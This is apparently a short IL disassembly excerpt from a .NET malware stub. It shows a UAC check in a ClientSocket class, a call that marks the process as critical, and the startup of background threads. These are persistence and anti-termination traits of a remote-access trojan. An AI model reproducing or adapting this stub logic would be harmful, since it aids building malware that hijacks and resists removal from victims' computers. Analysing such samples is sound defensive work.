newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_0619: ldc.i4.7
ldc.i4.5 <null>
stloc.s V_24
br.s IL_05C6: ldloc.s V_24
ldc.i4.7 <null>
br.s IL_0615: stloc.s V_24
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.3 <null>
stloc.s V_24
br IL_05C6: ldloc.s V_24
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
|